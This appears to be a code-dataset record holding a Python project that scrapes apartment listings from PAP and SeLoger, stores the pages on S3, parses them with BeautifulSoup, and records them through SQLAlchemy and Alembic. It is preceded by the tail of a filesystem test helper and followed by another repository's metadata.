AssertionError(\"%s is a directory.\" % path)\n\n def link(self, src, dst, code_should_be=0):\n \"\"\"Create a hard link.\"\"\"\n code = 0\n try:\n os.link(src, dst)\n except OSError as e:\n logger.info(\"os.link(): %s\" % e)\n code = e.errno\n logger.info(\"os.link()=%d\" % code)\n if code != _convert_errno_parm(code_should_be):\n raise AssertionError(\"link returned an unexpected code: %d\" % code)\n\n def symlink(self, src, dst, code_should_be=0):\n \"\"\"Create a symlink.\"\"\"\n code = 0\n try:\n os.symlink(src, dst)\n except OSError as e:\n logger.info(\"os.symlink(): %s\" % e)\n code = e.errno\n logger.info(\"os.symlink()=%d\" % code)\n if code != _convert_errno_parm(code_should_be):\n raise AssertionError(\"symlink returned an unexpected code: %d\" % code)\n\n def unlink(self, path, code_should_be=0):\n \"\"\"Unlink the directory entry.\"\"\"\n code = 0\n try:\n os.unlink(path)\n except OSError as e:\n logger.info(\"os.unlink(): %s\" % e)\n code = e.errno\n logger.info(\"os.unlink()=%d\" % code)\n if code != _convert_errno_parm(code_should_be):\n raise AssertionError(\"unlink returned an unexpected code: %d\" % code)\n\n def link_count_should_be(self, path, count):\n \"\"\"Fails if the path has an unexpected inode link count.\"\"\"\n count = int(count)\n if not path:\n raise AssertionError(\"Empty argument!\")\n if os.stat(path).st_nlink != count:\n raise AssertionError(\"%s does not have %d links\" % (path,count))\n\n def inode_should_be_equal(self, a, b):\n \"\"\"Fails if paths have different inodes.\"\"\"\n if not a or not b:\n raise AssertionError(\"Empty argument!\")\n if os.stat(a).st_ino != os.stat(b).st_ino:\n raise AssertionError(\"%s and %s do not have the same inode number.\" % (a,b))\n\n def get_inode(self, path):\n \"\"\"Returns the inode number of a path.\"\"\"\n if not path:\n raise AssertionError(\"Empty argument!\")\n return os.stat(path).st_ino\n\n" } ]
27
enima2684/housing
https://github.com/enima2684/housing
2bb22333eb9ed8e21e35984a8bf4baf1c6b54a62
f6b75c43ccad98c3640e6fbff1df763f71955aee
80e48c9d7b762f55fc832d319f1715de5e043692
refs/heads/develop
2021-12-14T21:21:39.467771
2018-12-16T18:08:18
2018-12-16T18:08:18
161,024,395
0
0
null
2018-12-09T09:35:12
2019-12-29T15:23:22
2022-06-21T21:34:31
Python
[ { "alpha_fraction": 0.6363636255264282, "alphanum_fraction": 0.6669960618019104, "avg_line_length": 27.11111068725586, "blob_id": "a48705fceda3b64e821bbf4600dbd78c85223e3f", "content_id": "08ab707ea71936bb17bc3ffa975bedba633d8f58", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1012, "license_type": "no_license", "max_line_length": 86, "num_lines": 36, "path": "/housing/models/migrations/versions/b89bcb3c0fd0_initial.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "\"\"\"initial\n\nRevision ID: b89bcb3c0fd0\nRevises: \nCreate Date: 2018-12-09 22:58:49.496788\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b89bcb3c0fd0'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('records',\n sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),\n sa.Column('file_name', sa.String(length=255), nullable=False),\n sa.Column('web_site', sa.Enum('PAP', 'SeLoger', name='websites'), nullable=False),\n sa.Column('created_at', sa.DateTime(), nullable=False),\n sa.Column('hash_doc', sa.String(length=256), nullable=True),\n sa.Column('processed', sa.Boolean(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('records')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5627319812774658, "alphanum_fraction": 0.570155918598175, "avg_line_length": 24.657142639160156, "blob_id": "69a36d083f0b6dd1ff0ff5d03bdf0cac0902829b", "content_id": "ff06576835f15a0bc01837e613dab007e79bf05c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2694, "license_type": "no_license", "max_line_length": 85, "num_lines": 105, "path": "/housing/Scrapper/__init__.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "import requests\nimport os\nfrom datetime import datetime\nimport boto3\nfrom sqlalchemy.orm import sessionmaker\nimport hashlib\nimport uuid\n\nfrom housing.models import db_connect, create_tables\nfrom housing.models.Record import Record\nfrom housing.HousingModule import HousingModule\n\n\nclass Scrapper(HousingModule):\n\n def __init__(self):\n super(Scrapper, self).__init__()\n self.web_site = None\n self.url = None\n self.s3 = boto3.resource('s3')\n self.html_content = None\n\n # setup db\n engine = db_connect()\n create_tables(engine)\n self.Session = sessionmaker(bind=engine)\n\n def scrap(self):\n \"\"\"\n Scraps the website and returns the html content\n :return:\n \"\"\"\n self.logger.info(\"Scrapping the website {}\".format(self.url))\n response = requests.get(self.url)\n if response.status_code != 200:\n raise ConnectionRefusedError('Refused connection to {}'.format(self.url))\n html_content = response.text\n return html_content\n\n def save_to_s3(self):\n \"\"\"\n Saves the html content to S3\n :param html_content: parsed html content\n :return:\n \"\"\"\n self.logger.info(\"Saving the data on S3\")\n file_name = \"__\".join([\n uuid.uuid4().hex[:6],\n datetime.now().strftime(\"%Y%m%d_%H%M%S\"),\n self.web_site,\n ])\n self.s3.Object(\n os.getenv(\"AWS_BUCKET_NAME\"),\n file_name\n ).put(Body=self.html_content)\n\n self.logger.debug(\"html saved under {}\".format(file_name))\n\n return file_name\n\n\n def getHash(self):\n hash_object = hashlib.sha256(self.html_content.encode())\n hex_dig = hash_object.hexdigest()\n return hex_dig\n\n def update_metadata(self, file_name):\n self.logger.info(f\"Saving metadata for {self.web_site}\")\n session = self.Session()\n\n hash = self.getHash()\n\n meta = Record(\n file_name=file_name,\n web_site=self.web_site,\n hash_doc=hash,\n )\n\n try:\n session.add(meta)\n session.commit()\n except:\n session.rollback()\n raise\n finally:\n session.close()\n\n def run(self):\n\n if self.url is None:\n raise ValueError('a url for parsing must be provided')\n\n # 1. Scrap the website\n self.html_content = self.scrap()\n\n # 2. save the data\n file_name = self.save_to_s3()\n\n # 3. update the metadata\n self.update_metadata(file_name=file_name)\n\n\nif __name__ == '__main__':\n scrapper = Scrapper()\n scrapper.run()\n" }, { "alpha_fraction": 0.5816186666488647, "alphanum_fraction": 0.583676278591156, "avg_line_length": 24.578947067260742, "blob_id": "3ebcdba283e06b08b8ce38a017a402db1608fc11", "content_id": "25f3e8d5b09eb348ca5f3f1c2c4e17b813bcf14b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1458, "license_type": "no_license", "max_line_length": 83, "num_lines": 57, "path": "/housing/Parser/__init__.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "from sqlalchemy.orm import sessionmaker\n\nfrom housing.HousingModule import HousingModule\nfrom housing.models import db_connect, create_tables\nfrom housing.models.Record import Record, WebSites\nfrom housing.Parser.ParserPAP import ParserPAP\n\nclass Parser(HousingModule):\n\n def __init__(self):\n super(Parser, self).__init__()\n\n # setup db\n engine = db_connect()\n create_tables(engine)\n self.Session = sessionmaker(bind=engine)\n\n\n def run(self):\n\n # 1. get non processed files\n session = self.Session()\n try:\n records = session.query(Record).filter(Record.processed == False).all()\n except Exception:\n session.rollback()\n raise\n finally:\n session.close()\n\n # 2. run the correct parser for each record\n\n for record in records:\n if record.web_site is WebSites.PAP:\n ParserPAP(file_name=record.file_name).run()\n record.processed = True\n\n\n if record.web_site is WebSites.SeLoger:\n print('SE LOGER PARSER PLACEHOLDER')\n\n\n # 3. resave the status of the files\n session = self.Session()\n try:\n session.add_all(records)\n session.commit()\n except Exception:\n session.rollback()\n raise\n finally:\n session.close()\n\n\nif __name__ == '__main__':\n parser = Parser()\n parser.run()\n" }, { "alpha_fraction": 0.6293706297874451, "alphanum_fraction": 0.6477272510528564, "avg_line_length": 29.13157844543457, "blob_id": "046b46c16fceb7a65d8d6a37738b011e75aa929e", "content_id": "a020d0ba429d2ad7eaa5ad37d8ed3b4cbfca931f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1144, "license_type": "no_license", "max_line_length": 123, "num_lines": 38, "path": "/housing/HousingModule.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "from dotenv import load_dotenv\nload_dotenv()\nimport logging\nimport logging.config\nimport logging.handlers\n\nfrom housing.conf.Config import Config\n\n\nclass HousingModule:\n\n def __init__(self):\n\n # define config\n self.config = Config()\n\n #define logger\n logging.config.dictConfig(self.config.infra_params['logger'])\n self._logger = logging.getLogger(type(self).__name__)\n\n # define logger property\n def _get_logger(self):\n return self._logger\n logger = property(fget=_get_logger, fset=None)\n\n # the two following methods are added to be able to save pickled versions of instances of a class\n # by default, pickle cannot handle classes that contain loggers as attributes\n # see : https://stackoverflow.com/questions/2999638/how-to-stop-attributes-from-being-pickled-in-python/2999833#2999833\n def __getstate__(self):\n d = dict(self.__dict__)\n if '_logger' in d:\n del d['_logger']\n return d\n\n def __setstate__(self, d):\n if '_logger' not in d:\n d['_logger'] = logging.getLogger(type(self).__name__)\n self.__dict__.update(d)" }, { "alpha_fraction": 0.5685884952545166, "alphanum_fraction": 0.5745526552200317, "avg_line_length": 37.61538314819336, "blob_id": "636ef3128f4af628255c5cf9413587b759976b3b", "content_id": "eda8f1ec3ead6328c0a84586a0efc89bbfd9be97", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 503, "license_type": "no_license", "max_line_length": 89, "num_lines": 13, "path": "/README.md", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "# housing\nScrap and alert on housing prices\n\n\n## Environment variables needed\n\n| Variable | Description |\n|---------- |------------- |\n|AWS_ACCESS_KEY_ID | AWS S3 access key |\n|AWS_SECRET_ACCESS_KEY | AWS S3 private key |\n|AWS_DEFAULT_REGION | Default AWS Region to which the requests are made : eu-west-3|\n|AWS_BUCKET_NAME | Name of the bucket containing all the data|\n|SQL_DB_URI | Uri to connect to the sql Database\n\n" }, { "alpha_fraction": 0.6155660152435303, "alphanum_fraction": 0.6155660152435303, "avg_line_length": 20.25, "blob_id": "7bcfdca0e7253e187a2aab5287eff85b0399d8a3", "content_id": "bc774187a6845a9bce482d7edbd8e55b1115b60e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 424, "license_type": "no_license", "max_line_length": 47, "num_lines": 20, "path": "/housing/Scrapper/ScrapperRunner.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "from housing.HousingModule import HousingModule\nfrom housing.Scrapper.PAP import PAP\nfrom housing.Scrapper.SeLoger import SeLoger\nimport os\n\n\nclass ScrapperRunner(HousingModule):\n\n def __init__(self):\n self.scrappers = [\n PAP(),\n SeLoger(),\n ]\n\n def run(self):\n for scrapper in self.scrappers:\n scrapper.run()\n\nif __name__ == '__main__':\n ScrapperRunner().run()" }, { "alpha_fraction": 0.7412280440330505, "alphanum_fraction": 0.7412280440330505, "avg_line_length": 23, "blob_id": "b4ff783f8f2d0ba61ce808334b1d8da8921d8ffe", "content_id": "043bcb478980c450a473d41fe748570834775c3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 456, "license_type": "no_license", "max_line_length": 57, "num_lines": 19, "path": "/housing/models/__init__.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "from dotenv import load_dotenv\nload_dotenv()\nimport os\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\n\nDeclarativeBase = declarative_base()\n\ndef db_connect():\n \"\"\"\n Performs database connection using database settings.\n Returns sqlalchemy engine instance\n \"\"\"\n return create_engine(os.getenv(\"SQL_DB_URI\"))\n\n\ndef create_tables(engine):\n \"\"\"\"\"\"\n DeclarativeBase.metadata.create_all(engine)\n" }, { "alpha_fraction": 0.6723237633705139, "alphanum_fraction": 0.6840730905532837, "avg_line_length": 35.47618865966797, "blob_id": "9ecc648f7582de1b4d59c951e43872dcf1265f40", "content_id": "4e8a507821983edd9a2abd0e431b2b8efaa7f040", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 766, "license_type": "no_license", "max_line_length": 114, "num_lines": 21, "path": "/housing/models/Record.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "from housing.models import DeclarativeBase\nfrom sqlalchemy import Column, Integer, String, DateTime, Enum, Boolean\nimport datetime\nimport enum\n\n\nclass WebSites(enum.Enum):\n PAP = 1\n SeLoger = 2\n\n\nclass Record(DeclarativeBase):\n \"\"\"Sql alchemy model for the metadata\"\"\"\n __tablename__ = \"records\"\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n file_name = Column(String(255), comment=\"File name on S3\", nullable=False)\n web_site = Column(Enum(WebSites), comment=\"PAP or SeLoger\", nullable=False)\n created_at = Column(DateTime, default=datetime.datetime.utcnow, comment=\"Extraction date\", nullable=False)\n hash_doc = Column(String(256))\n processed = Column(Boolean, default=False)\n" }, { "alpha_fraction": 0.6659372448921204, "alphanum_fraction": 0.6965718269348145, "avg_line_length": 35.078948974609375, "blob_id": "3588ea5252e89b2b082c9df7880c44d7c54f31a7", "content_id": "819b2d712a6921d9c57da9757041b73965e29b84", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1371, "license_type": "no_license", "max_line_length": 115, "num_lines": 38, "path": "/housing/models/migrations/versions/2855b051175d_add_ad_model.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "\"\"\"add Ad model\n\nRevision ID: 2855b051175d\nRevises: b89bcb3c0fd0\nCreate Date: 2018-12-16 19:07:29.565060\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '2855b051175d'\ndown_revision = 'b89bcb3c0fd0'\nbranch_labels = None\ndepends_on = None\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('ads')\n # ### end Alembic commands ###\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('ads',\n sa.Column('id', sa.VARCHAR(length=128), autoincrement=False, nullable=False),\n sa.Column('source_file', sa.VARCHAR(length=255), autoincrement=False, nullable=False),\n sa.Column('web_site', postgresql.ENUM('PAP', 'SeLoger', name='websites'), autoincrement=False, nullable=False),\n sa.Column('created_at', postgresql.TIMESTAMP(), autoincrement=False, nullable=False),\n sa.Column('price', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.Column('area', sa.INTEGER(), autoincrement=False, nullable=False),\n sa.Column('postal_code', sa.VARCHAR(length=16), autoincrement=False, nullable=False),\n sa.Column('url', sa.VARCHAR(length=512), autoincrement=False, nullable=False),\n sa.PrimaryKeyConstraint('id', name='ads_pkey')\n )\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.5403726696968079, "alphanum_fraction": 0.6438923478126526, "avg_line_length": 33.5, "blob_id": "f94667c8705438861c38a34d4c1ed56c93c2418a", "content_id": "cae2fcfb08a2d623fc9c71eade58b62933bb5363", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 483, "license_type": "no_license", "max_line_length": 245, "num_lines": 14, "path": "/housing/Scrapper/SeLoger.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "from housing.Scrapper import Scrapper\n\n\nclass SeLoger(Scrapper):\n\n def __init__(self):\n super(SeLoger, self).__init__()\n self.url = \"https://www.seloger.com/list.htm?types=1,2&projects=2&enterprise=0&natures=1,2,4&price=NaN/450000&surface=45/NaN&bedrooms=2&places=[{cp:75}|{ci:920050}|{ci:920026}|{ci:920062}|{ci:920063}|{ci:780146}]&qsVersion=1.0&abSLC=new\"\n self.web_site = \"SeLoger\"\n\n\nif __name__ == \"__main__\":\n scrapper = SeLoger()\n scrapper.run()\n" }, { "alpha_fraction": 0.6180781722068787, "alphanum_fraction": 0.6180781722068787, "avg_line_length": 27.581396102905273, "blob_id": "804584c17dd6dde937711822566d62c7f55cb488", "content_id": "33ca110312cbb82641bd32eda60868cc857dbb2a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1228, "license_type": "no_license", "max_line_length": 90, "num_lines": 43, "path": "/housing/conf/Config.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "import yaml\nimport os\n\nclass Config:\n \"\"\"\n Class that handles config files.\n\n We have two types of config files :\n - config_params : contains all config parameters about the model\n - infra_params : contains parameters concerning the infra (io folder, logger, etc...)\n\n config param are callable from a Config object like we would call a dictionnary\n \"\"\"\n\n def __init__(self):\n self._infra_params = {}\n self.load_infra_params()\n\n self.params = {}\n self.load_config_params()\n return\n\n def _get_infra_params(self):\n return self._infra_params\n\n def _set_infra_params(self, v):\n self._infra_params = v\n\n infra_params = property(fget=_get_infra_params, fset=_set_infra_params)\n\n def load_infra_params(self):\n print(os.getcwd())\n # check if it is develop or deploy\n with open('./housing/conf/infra_params.yml', 'r') as stream:\n self.infra_params = yaml.load(stream)\n\n def load_config_params(self):\n # check if it is develop or deploy\n with open('./housing/conf/config.yml', 'r') as stream:\n self.params = yaml.load(stream)\n\n def __getitem__(self, key):\n return self.params[key]" }, { "alpha_fraction": 0.45720720291137695, "alphanum_fraction": 0.6936936974525452, "avg_line_length": 15.44444465637207, "blob_id": "14df0e454e96a35d308c89bcb2c6e23ea45975d6", "content_id": "51fed5e61a4172836a171bf05773fc9500a0dc6a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 444, "license_type": "no_license", "max_line_length": 22, "num_lines": 27, "path": "/requirements.txt", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "alembic==1.0.5\nbeautifulsoup4==4.6.3\nboto==2.49.0\nboto3==1.9.62\nbotocore==1.12.62\ncertifi==2018.11.29\nchardet==3.0.4\ndocutils==0.14\nidna==2.7\njmespath==0.9.3\nlxml==4.2.5\nMako==1.0.7\nMarkupSafe==1.1.0\nnumpy==1.15.4\npandas==0.23.4\npsycopg2==2.7.6.1\npython-crontab==2.3.5\npython-dateutil==2.7.5\npython-dotenv==0.10.0\npython-editor==1.0.3\npytz==2018.7\nPyYAML==3.13\nrequests==2.20.1\ns3transfer==0.1.13\nsix==1.11.0\nSQLAlchemy==1.2.14\nurllib3==1.24.1\n" }, { "alpha_fraction": 0.5382585525512695, "alphanum_fraction": 0.6437994837760925, "avg_line_length": 28.153846740722656, "blob_id": "f312b3dfb4c11b98bdc29be200e839e88f052c18", "content_id": "00662b450d50c3d7848884b59f6af876540b6a1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 379, "license_type": "no_license", "max_line_length": 158, "num_lines": 13, "path": "/housing/Scrapper/PAP.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "from housing.Scrapper import Scrapper\n\n\nclass PAP(Scrapper):\n\n def __init__(self):\n super(PAP, self).__init__()\n self.url = \"https://www.pap.fr/annonce/vente-appartements-paris-75-g439g39154g43265g43294g43298g43301-3-pieces-jusqu-a-450000-euros-a-partir-de-45-m2\"\n self.web_site = \"PAP\"\n\nif __name__ == \"__main__\":\n scrapper = PAP()\n scrapper.run()\n" }, { "alpha_fraction": 0.5495867729187012, "alphanum_fraction": 0.5495867729187012, "avg_line_length": 17.615385055541992, "blob_id": "2e43d096340a6830c16d8e2dc3ba4e352e86cb54", "content_id": "a59f5399b2fc150f38de20440753475f86dae4d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 242, "license_type": "no_license", "max_line_length": 42, "num_lines": 13, "path": "/setup.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "from setuptools import setup\n\nsetup(\n name='housing',\n version='',\n packages=['housing', 'housing.models',\n 'housing.Scrapper'],\n url='',\n license='',\n author='bouamama amine',\n author_email='',\n description=''\n)\n" }, { "alpha_fraction": 0.5201277732849121, "alphanum_fraction": 0.5284345149993896, "avg_line_length": 27.289155960083008, "blob_id": "c7d67c51ca9c807ec145955ad2e6839c4c19db21", "content_id": "96d9ffe7930f5e0a74f1420f9ff27fdd67e0a210", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4695, "license_type": "no_license", "max_line_length": 100, "num_lines": 166, "path": "/housing/Parser/ParserPAP.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "import boto3\nimport os\nfrom bs4 import BeautifulSoup\nimport re\nfrom sqlalchemy.orm import sessionmaker\n\nfrom housing.HousingModule import HousingModule\nfrom housing.models import db_connect, create_tables\nfrom housing.models.Ad import Ad\nfrom housing.models.Record import WebSites\n\n\nclass ParserPAP(HousingModule):\n\n def __init__(self, file_name):\n \"\"\"\n\n :param file_name: file name on S3 bucket\n \"\"\"\n super(ParserPAP, self).__init__()\n\n self.file_name = file_name\n self.s3 = boto3.resource('s3')\n\n # setup db\n engine = db_connect()\n create_tables(engine)\n self.Session = sessionmaker(bind=engine)\n\n\n def open(self, file_name):\n \"\"\"\n Opens the file from S3 and returns the html content in a string format\n :return:\n \"\"\"\n self.logger.debug(f'Opening file {file_name} from S3 bucket {os.getenv(\"AWS_BUCKET_NAME\")}')\n\n try:\n obj = self.s3.Object(\n os.getenv(\"AWS_BUCKET_NAME\"),\n self.file_name\n )\n\n content = obj.get()['Body'].read().decode('utf-8')\n except Exception as err:\n self.logger.error(err)\n\n return content\n\n\n\n def parse_item(self, item):\n \"\"\"\n Parses a single item on the page\n :param item: bs4 item\n :return: parsed document\n \"\"\"\n\n try:\n\n if (item.select_one(\".item-price\") is not None):\n\n id = \"PAP_\" + item.select_one('.item-title').get('name')\n price = int(item.select_one(\".item-price\").text[:-2].replace('.', ''))\n\n for li in item.select(\"ul.item-tags > li\"):\n if \"m2\" in str(li.text):\n area = str(li.text)[:2]\n\n description = str(item.select_one('.item-description').text)\n localisation = description.split('.')[0].strip()\n\n postal_code = re.findall(\"\\(\\w+\\)\", localisation)[0][1:-1]\n url = \"https://www.pap.fr\" + item.select_one(\".item-description a\").get('href')\n\n ad = Ad(**{\n 'id' : id,\n 'web_site' : WebSites.PAP,\n 'source_file': self.file_name,\n\n 'price' : price,\n 'area' : area,\n 'postal_code': postal_code,\n 'url' : url,\n })\n\n return ad\n\n except Exception as err:\n self.logger.error(err)\n\n\n def parse_doc(self, content):\n \"\"\"\n parses the html content of the document and creates a \"X\" object\n :return:\n \"\"\"\n soup = BeautifulSoup(content, 'lxml')\n items = soup.select('.search-list-item')\n\n parsed_items = [ self.parse_item(item) for item in items ]\n\n # keep only relevant items\n parsed_items = [item for item in parsed_items if item]\n\n if (len(parsed_items) < 2):\n raise Exception(f\"Somehting went wrong on the parsing of the file {self.file_name}\")\n\n self.logger.info(f'parsed {len(parsed_items)} items from {self.file_name}')\n\n return parsed_items\n\n def save_to_db(self, parsed_data):\n \"\"\"\n Saves the data to the database\n :param parsed_data: list of Ad elements\n :return:\n \"\"\"\n self.logger.debug(f'saving {len(parsed_data)} items to the database')\n session = self.Session()\n\n\n try:\n\n # get already existing items\n already_existing = session \\\n .query(Ad) \\\n .filter(\n Ad.id.in_([item.id for item in parsed_data])\n ) \\\n .all()\n\n existing_ids = [item.id for item in already_existing]\n self.logger.debug(f'..{len(existing_ids)} items already exist on the database')\n\n items_to_save = [item for item in parsed_data if item.id not in existing_ids]\n self.logger.info(f'..saving only {len(items_to_save)} items from file {self.file_name}')\n\n session.add_all(items_to_save)\n session.commit()\n except Exception:\n session.rollback()\n self.logger.error(Exception)\n raise\n finally:\n session.close()\n\n\n def run(self):\n\n # 1. open file from S3\n html_content = self.open(self.file_name)\n\n # 2. parse\n parsed_data = self.parse_doc(content=html_content)\n\n # 3. save to db\n self.save_to_db(parsed_data)\n\n\n\nif __name__ == '__main__':\n file_name = 'ac1b8e__20181216_165518__PAP'\n ParserPAP(\n file_name=file_name\n ).run()" }, { "alpha_fraction": 0.6403361558914185, "alphanum_fraction": 0.6487395167350769, "avg_line_length": 16, "blob_id": "79d0a9490d60bcb5fecf46fe1260aa4ec1695483", "content_id": "6da1b75ad89afd04f14f9a6b1a14bbc5217ad65a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 595, "license_type": "no_license", "max_line_length": 66, "num_lines": 35, "path": "/bin/job_scrap.py", "repo_name": "enima2684/housing", "src_encoding": "UTF-8", "text": "\"\"\"\nScript that creates the Cronjob for scrapping every 30min\n\"\"\"\n\nfrom crontab import CronTab\nimport os\n\ncron = CronTab(user=True)\n\n# CREATE COMMAND\npython_path = os.path.join(\n os.getcwd(),\n 'venv',\n 'bin',\n 'python'\n)\nscript_path = os.path.join(\n os.getcwd(),\n 'housing',\n 'Scrapper',\n 'ScrapperRunner.py'\n)\ncommand = f'cd \"{os.getcwd()}\" && \"{python_path}\" \"{script_path}\"'\nprint(f\"COMMAND : {command}\")\n\njob = cron.new(command=command, comment='housing_scrap')\n\n# SET RESTRICTIONS\njob.minute.on(10)\njob.hour.every(1)\n\nfor item in cron:\n print(item)\n\ncron.write()\n" } ]
16
her0e1c1/pw
https://github.com/her0e1c1/pw
f41948abaced4d0b3d50c1e2fafea035378039a2
759164ef2f636ce1a015f6f3ac01648541d48451
44876c69fa3f124ebc9869c6caa4ebea3ff4a4dd
refs/heads/master
2020-12-24T16:06:44.658981
2016-03-10T12:55:15
2016-03-10T12:55:15
15,871,077
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.807692289352417, "alphanum_fraction": 0.807692289352417, "avg_line_length": 25, "blob_id": "24aa7cf553c2d8d0903a44ee36d018cf69b7c839", "content_id": "a70ec088fbd34bf2a36122e5f0e91f7851553c11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 26, "license_type": "no_license", "max_line_length": 25, "num_lines": 1, "path": "/pyppm/__init__.py", "repo_name": "her0e1c1/pw", "src_encoding": "UTF-8", "text": "# Python Password Manager\n" }, { "alpha_fraction": 0.6283618807792664, "alphanum_fraction": 0.6430317759513855, "avg_line_length": 21.72222137451172, "blob_id": "42c00d4078492ef9c3a59b0deacc2a2d69c794ad", "content_id": "bac75cd406a38a0f4a8782a7c5bdcb8ab76e69d5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 409, "license_type": "no_license", "max_line_length": 43, "num_lines": 18, "path": "/setup.py", "repo_name": "her0e1c1/pw", "src_encoding": "UTF-8", "text": "from setuptools import setup, find_packages\n\ninstall_requires = ['pycrypto']\n\nsetup(\n name=\"pyppm\",\n url=\"https://github.com/her0e1c1/pwm\",\n version=\"3.0.2\",\n description=\"python password manager\",\n author=\"Hiroyuki Ishii\",\n author_email=\"[email protected]\",\n packages=find_packages(),\n install_requires=install_requires,\n entry_points=\"\"\"\n [console_scripts]\n pyppm = pyppm.main:main\n \"\"\"\n)\n" }, { "alpha_fraction": 0.7816091775894165, "alphanum_fraction": 0.7816091775894165, "avg_line_length": 13.416666984558105, "blob_id": "409ef520fb979744c163df032e9567dba9f09569", "content_id": "e3e77032d0f26f483ccdccc31a4596f2cb173519", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 326, "license_type": "no_license", "max_line_length": 32, "num_lines": 12, "path": "/todo.txt", "repo_name": "her0e1c1/pw", "src_encoding": "UTF-8", "text": "\nTODO:\n\n* sessionのアルゴリズムを修正する\n* APIを増やす\n* inputのパーサーを分かりやすくする\n* print文を増やして対話をわかりやすくする\n - loopのモジュール作成\n\n* GUIをつける\n* webserver\n* setup.pyを修正\n* setup用のコマンド追加 (createdbは分けて記述)\n" }, { "alpha_fraction": 0.5555555820465088, "alphanum_fraction": 0.5555555820465088, "avg_line_length": 15.576923370361328, "blob_id": "356084a3d1210a1403239fc20b962549e1e19e87", "content_id": "f74592c450750770a89cf969f9518cf29f8740ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 432, "license_type": "no_license", "max_line_length": 41, "num_lines": 26, "path": "/README.rst", "repo_name": "her0e1c1/pw", "src_encoding": "UTF-8", "text": "\n=========================\nPython Password Manager\n=========================\n\nHow to use\n==========\n\nhow to install ::\n\n $ python setup.py install\n\ncreate a new file ::\n\n $ pwm /PATH/TO/FILE -n\n master key>\n # type master key (Don't forget it)\n\n # vim by default will be launched\n # so edit it\n\nrewrite a new file ::\n\n $ pwm /PATH/TO/FILE -r\n # same as creating a new file\n\neven if you open the file, it's encrypted\n" } ]
4
SnowBG/Markup_File
https://github.com/SnowBG/Markup_File
61d5f783057a1fb80028369b59cbb101b88956c1
497f1edeb34618e9a44bf21b77a071f3ca9ae6df
6e6d2995e45ccb5f647063952d3f962064eec2b5
refs/heads/master
2020-04-02T18:37:19.107567
2018-10-25T17:10:01
2018-10-25T17:10:01
154,706,898
0
0
null
null
null
null
null
